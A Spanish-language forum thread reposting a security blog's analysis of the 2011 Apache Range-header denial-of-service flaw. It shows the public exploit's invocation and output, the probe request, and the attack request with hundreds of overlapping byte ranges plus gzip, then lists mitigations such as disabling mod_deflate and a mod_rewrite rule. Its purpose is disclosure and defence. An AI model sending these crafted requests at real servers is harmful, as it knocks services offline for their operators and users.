Resultados 1 al 2 de 2

Tema: Denegación de servicio en Apache (Bug 51714)

  1. #1 Denegación de servicio en Apache (Bug 51714) 
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.050
    Descargas
    181
    Uploads
    247
    A lo largo de ayer y hoy ha habido mucho movimiento en los ámbitos de la seguridad debido a una vulnerabilidad de denegación de servicio en Apache descubierta por “Kingcope”

    Junto a la publicación de la vulnerabilidad se ha hecho público en Full Disclousure un pequeño script en perl encargado de sacar ventaja de la vulnerabilidad y explotarla. Por tanto se trata de una vulnerabilidad 0 day sin parche a aplicar en la cual se dispone de un exploit público muy sencillo de ejecutar.

    Esta vulnerabilidad toma ventaja de un tratamiento incorrecto de la cabecera Range por parte de Apache. La cabecera Range se encarga de indicar al servidor Web que el cliente solo requiere ciertas partes de la web, permitiendo ahorrar ancho de banda.

    En el caso del exploit este envía una cabecera Range al servidor, a la cual se le indican múltiples partes, en tamaño bytes, que son requeridas de la página web. Esto lo realiza mediante solicitudes HEAD al servidor añadiendo la siguiente cabecera: “Range: bytes=5-1,5-2,5-3,5-4,…,5-1299″. La clave está en que para cada parte se solicita que se comprima mediante GZIP(Accept-Encoding: gzip), dando lugar a un consumo desmesurado del servidor, principalmente CPU y RAM, que provoca una denegación del servicio en el entorno.

    Hemos procedido a revisar el exploit público para entender lo que realizaba. Es bastante sencillo, veámoslo por puntos:
    Para ejecutarlo únicamente hay que indicarle la IP como opción. Todo sea dicho, el argumento de los forks en “numforks” no está bien implementado y hay que modificarlo a fuego en el script, en nuestro caso hemos modificado 50 por 250:

    Código:
    $ perl ./killapache_pl 172.17.0.185
    host seems vuln
    ATTACKING 127.0.0.1 [using 250 forks]
    :pPpPpppPpPPppPpppPp
    ...
    Analizando el tráfico de red y el código del exploit vemos que lo que primero que hace es mandar la siguiente solicitud Web para comprobar si es vulnerable:

    Código:
     
    HEAD / HTTP/1.1
    Host: 127.0.0.1
    Range:bytes=0-
    Accept-Encoding: gzip
    Connection: close
    Respondiendo el servidor de la siguiente forma:

    Código:
    HTTP/1.1 206 Partial Content
    Date: Thu, 25 Aug 2011 09:59:32 GMT
    Server: Apache/2.2.17 (Ubuntu)
    Last-Modified: Thu, 25 Aug 2011 09:21:16 GMT
    ETag: "a3e4a-b1-4ab50f366cd75"
    Accept-Ranges: bytes
    Vary: Accept-Encoding
    Content-Encoding: gzip
    Content-Length: 279068
    Connection: close
    Content-Type: multipart/byteranges; boundary=4ab517c4b5be3139b
    El script comprueba si el servidor contesta con el “Partial”, de ser así, indica que es posible que sea vulnerable y procede a la explotación de la vulnerabilidad, enviando paquetes como el siguiente:

    Código:
    HEAD / HTTP/1.1
    Host: 127.0.0.1
    Range:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,...,5-1297,5-1298,5-1299
    Accept-Encoding: gzip
    Connection: close
    Tened en cuenta que se solicita por HEAD y por tanto el atacante solo recibirá como respuesta la cabecera HTTP del servidor.

    Pese a que no hay parche de seguridad existen distintas alternativas para intentar subsanar el ataque tal como informan desde Dadoweb
    Como solución rápida se puede desactivar el deflate mediante la siguiente orden:

    Código:
    # apachectl -M 2> /dev/null | grep -i deflate_module
     deflate_module (shared)
    # a2dismod deflate
    Module deflate disabled.
    Run '/etc/init.d/apache2 restart' to activate new configuration!
    # /etc/init.d/apache2 restart
     * Restarting web server apache2   [ OK ]
    Otra opción que mejor resultados nos ha dado es la propuesta por seclist.org empleando el módulo modrewrite con la siguiente sintaxis (el de davo indicado anteriormente nos ha fallado):

    Código:
    RewriteEngine On
    RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
    RewriteRule .* - [NS,L,F]
    Otra opción es desactivar la cabecera Range usando el modulo headers, añadiendo la siguiente línea en la configuración:

    Código:
     
    RequestHeader unset Range
    Les recomendamos aplicar lo antes posible cualquiera de las alternativas propuestas mientras esperamos al parche de seguridad, que se prevé que estará disponible en unas 48 horas.

    Por Joaquín Moreno en http://www.securityartwork.es/2011/0...cio-en-apache/
    [][][] LUK [][][]
    hackhispano.com
    Citar  
     

  2. #2  
    Medio
    Fecha de ingreso
    Aug 2011
    Mensajes
    112
    Descargas
    0
    Uploads
    0


    Ya ves
    Citar  
     

Temas similares

  1. Denegación de servicio en Cisco IOS XR
    Por LUK en el foro VULNERABILIDADES
    Respuestas: 0
    Último mensaje: 02-09-2010, 11:00
  2. Denegación de servicio en RealPlayer
    Por clarinetista en el foro NOTICIAS
    Respuestas: 0
    Último mensaje: 21-01-2007, 14:08
  3. Denegación de servicio en Apache 2
    Por LUK en el foro VULNERABILIDADES
    Respuestas: 0
    Último mensaje: 23-03-2004, 22:14
  4. Denegación de servicio en mIRC
    Por Sn@ke en el foro NOTICIAS
    Respuestas: 1
    Último mensaje: 14-10-2003, 11:40
  5. Denegación de servicio en Eudora
    Por calymax en el foro NOTICIAS
    Respuestas: 0
    Último mensaje: 28-05-2003, 08:00

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •